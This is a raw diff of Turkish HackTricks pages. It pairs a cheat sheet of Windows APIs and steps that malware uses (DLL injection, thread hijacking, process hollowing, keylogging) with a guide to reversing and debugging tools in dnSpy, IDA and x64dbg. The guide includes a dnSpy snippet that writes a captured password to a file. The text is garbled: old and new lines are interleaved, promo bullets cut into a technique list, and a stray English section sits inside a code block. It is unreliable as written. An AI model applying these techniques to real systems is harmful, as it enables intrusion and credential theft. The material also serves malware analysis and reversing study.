<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Genel
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi izler, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Genel
## Ağ
### Ağ
| Ham Soketler | WinAPI Soketler |
| ------------ | --------------- |
@ -36,9 +29,9 @@ En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intrude
| write() | send() |
| shutdown() | WSACleanup() |
## Kalıcılık
### Kalıcılık
| Kayıt Defteri | Dosya | Servis |
| Kayıt Defteri | Dosya | Servis |
| ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
@ -46,7 +39,7 @@ En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intrude
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
## Şifreleme
### Şifreleme
| Adı |
| --------------------- |
@ -57,7 +50,7 @@ En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intrude
| CryptDecrypt() |
| CryptReleaseContext() |
## Anti-Analiz/VM
### Anti-Analiz/VM
| Fonksiyon Adı | Derleme Talimatları |
| --------------------------------------------------------- | ------------------- |
@ -65,85 +58,92 @@ En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intrude
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Bir işlem çalışıyor mu kontrol et] | |
| CreateFileW/A \[Bir dosya var mı kontrol et] | |
| CreateToolhelp32Snapshot \[Bir işlemin çalışıp çalışmadığını kontrol et] | |
| CreateFileW/A \[Bir dosyanın var olup olmadığını kontrol et] | |
## Gizlilik
### Gizlilik
| Adı | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Bellek tahsisi (paketleyiciler) |
| VirtualProtect | Bellek izni değiştirme (bir bölüme yürütme izni veren paketleyici) |
| ReadProcessMemory | Harici işlemlere enjeksiyon |
| WriteProcessMemoryA/W | Harici işlemlere enjeksiyon |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/İşlem enjeksiyonu... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
| ----------------------- | -------------------------------------------------------------------------- |
| VirtualAlloc | Bellek tahsisi (sıkıştırıcılar) |
| VirtualProtect | Bellek izni değiştirme (bir bölüme yürütme izni veren sıkıştırıcı) |
| ReadProcessMemory | Harici işlemlere enjeksiyon |
| WriteProcessMemoryA/W | Harici işlemlere enjeksiyon |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/İşlem enjeksiyonu... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W| |
## Yürütme
### Yürütme
| Fonksiyon Adı |
| ---------------- |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
| Fonksiyon Adı |
| ----------------- |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
## Çeşitli
### Çeşitli
* GetAsyncKeyState() -- Tuş kaydı
* SetWindowsHookEx -- Tuş kaydı
* GetForeGroundWindow -- Çalışan pencere adını al (veya bir tarayıcıdan web sitesini)
* LoadLibrary() -- Kütüphane içe aktar
* GetProcAddress() -- Kütüphane içe aktar
* LoadLibrary() -- Kütüphane içe aktarımı
* GetProcAddress() -- Kütüphane içe aktarımı
* CreateToolhelp32Snapshot() -- Çalışan işlemleri listele
* GetDC() -- Ekran görüntüsü
* BitBlt() -- Ekran görüntüsü
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- İnternete erişim
* FindResource(), LoadResource(), LockResource() -- Yürütülebilir dosyanın kaynaklarına erişim
# Zararlı Yazılım Teknikleri
## Kötü Amaçlı Yazılım Teknikleri
## DLL Enjeksiyonu
### DLL Enjeksiyonu
Başka bir işlem içinde keyfi bir DLL'yi çalıştırma
Başka bir işlem içinde keyfi bir DLL'yi yürüt
1. Zararlı DLL'yi enjekte etmek için işlemi bul: CreateToolhelp32Snapshot, Process32First, Process32Next
1. Kötü niyetli DLL'yi enjekte etmek için işlemi bul: CreateToolhelp32Snapshot, Process32First, Process32Next
2. İşlemi aç: GetModuleHandle, GetProcAddress, OpenProcess
3. DLL'nin yolu işlem içine yaz: VirtualAllocEx, WriteProcessMemory
4. Zararlı DLL'yi yükleyecek bir iş parçacığı oluştur: CreateRemoteThread, LoadLibrary
3. DLL'nin yolunu işlem içine yaz: VirtualAllocEx, WriteProcessMemory
4. Kötü niyetli DLL'yi yükleyecek işlemde bir iş parçacığı oluştur: CreateRemoteThread, LoadLibrary
Kullanılacak diğer işlevler: NTCreateThreadEx, RtlCreateUserThread
Kullanılacak diğer fonksiyonlar: NTCreateThreadEx, RtlCreateUserThread
## Yansımalı DLL Enjeksiyonu
### Yansımalı DLL Enjeksiyonu
Normal Windows API çağrılarını kullanmadan zararlı bir DLL yükleme.\
DLL, bir işlem içine haritalanır, içe aktarma adreslerini çözer, yer değiştirmeleri düzeltir ve DllMain işlevini çağırır.
Normal Windows API çağrıları yapmadan kötü niyetli bir DLL yükle.\
DLL, bir işlem içine eşlenir, içe aktarma adreslerini çözer, yer değiştirmeleri düzeltir ve DllMain işlevini çağırır.
## İş Parçacığı Kaçırma
### İş Parçacığı Kaçırma
Bir işlemdeki bir iş parçacığını bulun ve onu zararlı bir DLL yüklemek için kullanın
Bir işlemde bir iş parçacığını bul ve onu kötü niyetli bir DLL yüklemeye zorla
1. Hedef iş parçacığını bulun: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. İş parçacığınıın: OpenThread
3. İş parçacığını askıya alın: SuspendThread
4. Zararlı DLL'nin yolunu kurban işlem içine yazın: VirtualAllocEx, WriteProcessMemory
5. İş parçacığını devam ettirerek kütüphaneyi yükleyin: ResumeThread
1. Hedef iş parçacığını bul: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. İş parçacığını aç: OpenThread
3. İş parçacığını askıya al: SuspendThread
4. Kötü niyetli DLL'nin yolunu kurban işlem içine yaz: VirtualAllocEx, WriteProcessMemory
5. Kütüphaneyi yükleyen iş parçacığını devam ettir: ResumeThread
## PE Enjeksiyonu
### PE Enjeksiyonu
Taşınabilir Yürütme Enjeksiyonu: Yürütülebilir, kurban işlemin belleğine yazılır ve oradan çalıştırılır.
Taşınabilir Yürütme Enjeksiyonu: Yürütülebilir dosya, kurban işlemin belleğine yazılacak ve oradan yürütülecek.
## İşlem Boşaltma
### İşlem Boşaltma
Zararlı yazılım, işlemin belleğinden meşru kodu kaldırır ve zararlı bir ikili yükler
Kötü niyetli yazılım, işlemin belleğinden meşru kodu kaldırır ve kötü niyetli bir ikili yükler
1. Yeni bir işlem oluşturun: CreateProcess
2. Belleği boşaltın: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Zararlı ikiliyi işlem belleğine yazın: VirtualAllocEc, WriteProcessMemory
4. Giriş noktasını
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**Twitter**](https://twitter.com/hacktricks_live)**'da takip edin** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın.**
1. Yeni bir işlem oluştur: CreateProcess
2. Belleği kaldır: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Kötü niyetli ikiliyi işlem belleğine yaz: VirtualAllocEc, WriteProcessMemory
4. Giriş noktasını ayarla ve yürüt: SetThreadContext, ResumeThread
## Hooking
* **SSDT** (**Sistem Hizmeti Tanım Tablosu**), kullanıcı işlemlerinin bu işlevleri (ntoskrnl.exe) veya GUI sürücüsü (win32k.sys) çağırmasını sağlayan çekirdek işlevlere işaret eder.
* Bir rootkit, bu işaretçileri kendi kontrol ettiği adreslere değiştirebilir
* **IRP** (**Giriş/Çıkış İsteği Paketleri**), bir bileşenden diğerine veri parçaları iletilmesini sağlar. Çekirdekte neredeyse her şey IRP'leri kullanır ve her aygıt nesnesinin kendi işlev tablosu vardır ve bunlar kancalanabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu)
* **IAT** (**İçe Aktarma Adres Tablosu**), bağımlılıkları çözmek için kullanışlıdır. Bu tabloyu kancalamak, çağrılacak kodu ele geçirmeyi sağlar.
* **EAT** (**Dışa Aktarma Adres Tablosu**) Kancalar. Bu kancalar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından ihraç edilen işlevleri kancalamaktır.
* **Inline Kancalar**: Bu tür, zor bir hedeftir. Bu, işlevlerin kodunu değiştirerek yapılır. Belki de bunu başlangıcına bir atlama ekleyerek yapabilirsiniz.

View file

@ -2,39 +2,31 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## ImGui Tabanlı Tersine Mühendislik Araçları
Yazılım:
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
## Wasm decompiler / Wat compiler
## Wasm decompiler / Wat derleyici
Çevrimiçi:
* Wasm (binary) dosyasını wat (açık metin) dosyasına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat dosyasını wasm dosyasına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* decompile için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı deneyebilirsiniz
* Wasm'dan (ikili) wat'a (açık metin) **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
* Wat'tan wasm'a derlemek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
* Ayrıca decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) deneyebilirsiniz
Yazılım:
@ -45,30 +37,30 @@ Yazılım:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları decompile eder ve incelemeler**. Bir derleme decompile edildikten sonra, bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **yürütülebilir dosyalar** (.exe) dahil olmak üzere **çeşitli formatları decompile eder ve inceler**. Bir derlendikten sonra bir derleme bir Visual Studio projesi (.csproj) olarak kaydedilebilir.
Bu, kaybolan bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerektiğinde zaman kazandırır. Ayrıca, dotPeek, decompile edilen kod boyunca kullanışlı gezinme sağlar, bu da onu **Xamarin algoritma analizi için mükemmel araçlardan biri yapar.**
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir derlemeden geri yüklenmesi gerekiyorsa, bu işlem zaman kazandırabilir. Ayrıca, dotPeek, decompile edilen kod boyunca kullanışlı gezinme sağlar, bu da onu **Xamarin algoritma analizi için mükemmel araçlardan biri yapar.**
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
Kapsamlı bir eklenti modeline ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API'ye sahip olan .NET reflector, zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım:
Kapsamlı bir eklenti modeli ve aracı tam olarak ihtiyaçlarınıza uyacak şekilde genişleten bir API ile .NET Reflector zaman kazandırır ve geliştirmeyi basitleştirir. Bu aracın sağladığı birçok tersine mühendislik hizmetine bir göz atalım:
* Bir kütüphane veya bileşen üzerinden verinin nasıl aktığına dair bir içgörü sağlar
* Verilerin bir kütüphane veya bileşen üzerinden nasıl aktığına dair bir bakış açısı sağlar
* .NET dilleri ve çerçevelerinin uygulanması ve kullanımı hakkında bilgi sağlar
* Kullanılan API'ler ve teknolojilerden daha fazla verim almak için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur.
* Kullanılan API'ler ve teknolojilerden daha fazla veri almak için belgelenmemiş ve açığa çıkarılmamış işlevsellikleri bulur
* Bağımlılıkları ve farklı derlemeleri bulur
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu bulur.
* Çalıştığınız tüm .NET kodunun kaynağına hata ayıklama yapar.
* Kodunuzdaki hataların, üçüncü taraf bileşenlerin ve kütüphanelerin tam konumunu belirler
* Çalıştığınız tüm .NET kodunun kaynağına hata ayıklar.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Extensions** üzerine tıklayın ve **ILSpy** arayın).\
**Decompile**, **değiştir** ve **yeniden derle** ihtiyacınız varsa: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Sağ Tıkla -> Modify Method** ile bir fonksiyonun içinde bir şeyi değiştirebilirsiniz).\
Ayrıca [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) adresini deneyebilirsiniz.
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git'i indirmenize gerek yok. **Uzantılar** üzerine tıklayın ve **ILSpy** arayın).\
Eğer **decompile**, **değiştir** ve **yeniden derle** ihtiyacınız varsa: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Sağ Tıkla -> Yöntemi Değiştir** bir fonksiyon içinde bir şey değiştirmek için).\
Ayrıca [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) deneyebilirsiniz.
### DNSpy Logging
### DNSpy Günlüğü
**DNSpy'ın bazı bilgileri bir dosyaya kaydetmesi** için bu .Net satırlarını kullanabilirsiniz:
**DNSpy'nin bazı bilgileri bir dosyaya kaydetmesi** için bu .Net satırlarını kullanabilirsiniz:
```bash
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -76,80 +68,60 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy Hata Ayıklama
DNSpy kullanarak kodu hata ayıklamak için şunları yapmanız gerekmektedir:
DNSpy kullanarak kodları hata ayıklamak için şunları yapmanız gerekmektedir:
İlk olarak, **hata ayıklama** ile ilgili **Assembly özelliklerini** değiştirin:
İlk olarak, **hata ayıklama** ile ilgili **Derleme özniteliklerini** değiştirin:
![](<../../.gitbook/assets/image (278).png>)
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
/hive/hacktricks/reversing/reversing-tools-basic-methods/README.md
To:
# Reversing Tools - Basic Methods
---
## Introduction
## Temel Tersine Mühendislik Araçları ve Yöntemleri
In the field of reverse engineering, there are several tools that can be used to analyze and understand the inner workings of software. This guide provides an overview of some of the basic methods and tools commonly used in reverse engineering.
## Static Analysis
Static analysis involves examining the binary code of a program without actually executing it. This can be done using tools such as disassemblers and decompilers. Disassemblers convert the binary code into assembly language, making it easier to understand and analyze. Decompilers, on the other hand, convert the binary code into a higher-level programming language, such as C or C++, allowing for a more comprehensive analysis.
## Dynamic Analysis
Dynamic analysis involves executing the program and monitoring its behavior in real-time. This can be done using tools such as debuggers and dynamic analysis frameworks. Debuggers allow for step-by-step execution of the program, making it possible to analyze the program's state at different points in time. Dynamic analysis frameworks provide a more automated approach, allowing for the collection of runtime information and the detection of vulnerabilities or malicious behavior.
## Memory Analysis
Memory analysis involves examining the memory of a running program to understand its behavior and extract useful information. This can be done using tools such as memory dumpers and memory forensics frameworks. Memory dumpers allow for the extraction of the program's memory, which can then be analyzed offline. Memory forensics frameworks provide a more comprehensive approach, allowing for the analysis of memory artifacts and the detection of hidden processes or malware.
## Binary Patching
Binary patching involves modifying the binary code of a program to change its behavior or fix vulnerabilities. This can be done using tools such as hex editors or binary patching frameworks. Hex editors allow for direct modification of the binary code, while binary patching frameworks provide a more automated approach, allowing for the creation of patches that can be applied to multiple instances of the program.
## Conclusion
These are just some of the basic methods and tools used in reverse engineering. Each method and tool has its own strengths and weaknesses, and the choice of which to use depends on the specific task at hand. By understanding and utilizing these methods and tools, reverse engineers can gain valuable insights into the inner workings of software and uncover vulnerabilities or hidden functionality.
Bu bölümde, temel tersine mühendislik araçları ve yöntemleri hakkında bilgi bulacaksınız. Tersine mühendislik, yazılımın veya donanımın çalışma prensiplerini anlamak için kullanılan bir tekniktir. Bu bölümde, temel tersine mühendislik araçlarını ve bu araçlarla yapılabilecek temel yöntemleri öğreneceksiniz.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
Ve **derlemeye** tıklayın:
Ve **derle**'ye tıklayın:
![](<../../.gitbook/assets/image (314) (1) (1).png>)
Ardından yeni dosyayı _**Dosya >> Modülü Kaydet...**_ seçeneğiyle kaydedin:
Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_'e kaydedin:
![](<../../.gitbook/assets/image (279).png>)
Bunu yapmanız gerekmektedir çünkü **çalışma zamanında** kod üzerinde birkaç **optimizasyon** uygulanabilir ve **hata ayıklama** yaparken **bir kesme noktası hiç tetiklenmeyebilir** veya bazı **değişkenler mevcut olmayabilir**.
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birçok **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına hiç ulaşılmayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Ardından, .Net uygulamanız **IIS** tarafından **çalıştırılıyorsa** onu **yeniden başlatabilirsiniz**.
Ardından, .Net uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu **yeniden başlatabilirsiniz**:
```
iisreset /noforce
```
Ardından, hata ayıklamaya başlamak için ık olan tüm dosyaları kapatmalı ve **Hata Ayıklama Sekmesi**'nde **Sürece Ekle...**'yi seçmelisiniz:
Ardından, hata ayıklamaya başlamak için tüm açık dosyaları kapatmalı ve **Debug Sekmesi** içinde **Attach to Process...**'i seçmelisiniz:
![](<../../.gitbook/assets/image (280).png>)
Ardından, **IIS sunucusuna** bağlanmak için **w3wp.exe**'yi seçin ve **bağlan**'a tıklayın:
Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'e tıklayın:
![](<../../.gitbook/assets/image (281).png>)
Şimdi, süreci hata ayıklıyoruz ve tüm modülleri yüklüyoruz. İlk olarak _Hata Ayıklama >> Tümünü Durdur_ üzerine tıklayın ve ardından _**Hata Ayıklama >> Pencereler >> Modüller**_ üzerine tıklayın:
Şimdi süreci hata ayıklıyoruz, durdurma ve tüm modülleri yükleme zamanı. İlk olarak _Debug >> Break All_ üzerine tıklayın ve ardından _**Debug >> Windows >> Modules**_ üzerine tıklayın:
![](<../../.gitbook/assets/image (286).png>)
![](<../../.gitbook/assets/image (283).png>)
**Modüller** üzerinde herhangi bir modüle tıklayın ve **Tüm Modülleri Aç**'ı seçin:
**Modüller** üzerinde herhangi bir modüle tıklayın ve **Open All Modules**'ı seçin:
![](<../../.gitbook/assets/image (284).png>)
**Assembly Explorer** üzerinde herhangi bir modüle sağ tıklayın ve **Modülleri Sırala**'yı tıklayın:
**Assembly Explorer** içinde herhangi bir modüle sağ tıklayın ve **Sort Assemblies**'e tıklayın:
![](<../../.gitbook/assets/image (285).png>)
@ -160,38 +132,38 @@ Ardından, **IIS sunucusuna** bağlanmak için **w3wp.exe**'yi seçin ve **bağl
## DLL'leri Hata Ayıklama
### IDA kullanarak
### IDA Kullanımı
* **rundll32**'yi yükleyin (64 bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Windbg** hata ayıklayıcıyı seçin
* "**Kütüphane yükleme/boşaltma durdur**" seçeneğini seçin
* "**Kütüphane yükleme/boşaltma durdur**" seçeneğini belirleyin
![](<../../.gitbook/assets/image (135).png>)
* Yürütmenin **parametrelerini** ayarlayın, DLL'nin **yolunu** ve çağırmak istediğiniz işlevi girin:
* **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek **yürütme parametrelerini yapılandırın**:
![](<../../.gitbook/assets/image (136).png>)
Ardından, hata ayıklamaya başladığınızda, her DLL yüklendiğinde yürütme durdurulur, ardından rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ancak, yüklenen DLL'nin koduna nasıl erişebilirsiniz? Bu yöntemi kullanarak, bunu bilmiyorum.
Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu nasıl yapacağımı bilmiyorum.
### x64dbg/x32dbg kullanarak
### x64dbg/x32dbg Kullanımı
* **rundll32**'yi yükleyin (64 bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
* Komut Satırını Değiştirin (_Dosya --> Komut Satırını Değiştir_) ve dll'nin yolunu ve çağırmak istediğiniz işlevi ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Ayarlar --> Ayarlar_ üzerinde değişiklik yapın ve "**DLL Girişi**"ni seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana işlevinde duracak, bir noktada kendi dll Girişinizde duracaksınız. Oradan, kırılma noktalarını koymak istediğiniz yerleri arayın.
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** ( _Dosya --> Komut Satırını Değiştir_ ) ve dll'nin yolunu ve çağırmak istediğiniz fonksiyonu belirleyin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Ayarlar --> Ayarlar_ değiştirin ve "**DLL Girişi**"ni seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll'nin Girişine duracaksınız**. Oradan, kırılma noktalarını koymak istediğiniz noktaları arayın.
Dikkat edin, yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** win64dbg penceresinin **üst kısmında** görebilirsiniz:
Yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmına bakarak**:
![](<../../.gitbook/assets/image (137).png>)
Bu şekilde, istediğiniz DLL'de yürütme durduğunda nerede olduğunu görebilirsiniz.
Dolayısıyla, dll'yi hata ayıklamak istediğinizde yürütmenin hangi kodda durduğunu görebilirsiniz.
## GUI Uygulamaları / Video Oyunları
[**Cheat Engine**](https://www.cheatengine.org/downloads.php), çalışan bir oyunun belleğinde önemli değerlerin nerede saklandığını bulmanıza ve değiştirmenize yardımcı olan kullanışlı bir programdır. Daha fazla bilgi için:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php), çalışan bir oyunun belleğinde önemli değerlerin nerede saklandığını bulmanıza ve değiştirmenize olanak tanıyan faydalı bir programdır. Daha fazla bilgi için:
{% content-ref url="cheat-engine.md" %}
[cheat-engine.md](cheat-engine.md)
@ -203,10 +175,10 @@ Bu şekilde, istediğiniz DLL'de yürütme durduğunda nerede olduğunu görebil
## Shellcode'lar
### Blobrunner ile bir shellcode'yu hata ayıklama
### Blobrunner ile bir shellcode'u hata ayıklama
[**Blobrunner**](https://github.com/OALabs/BlobRunner), shellcode'yu bellekte bir alan içine **ayırır**, shellcode'nun ayrıldığı **bellek adresini** size bildirir ve yürütmeyi **durdurur**.\
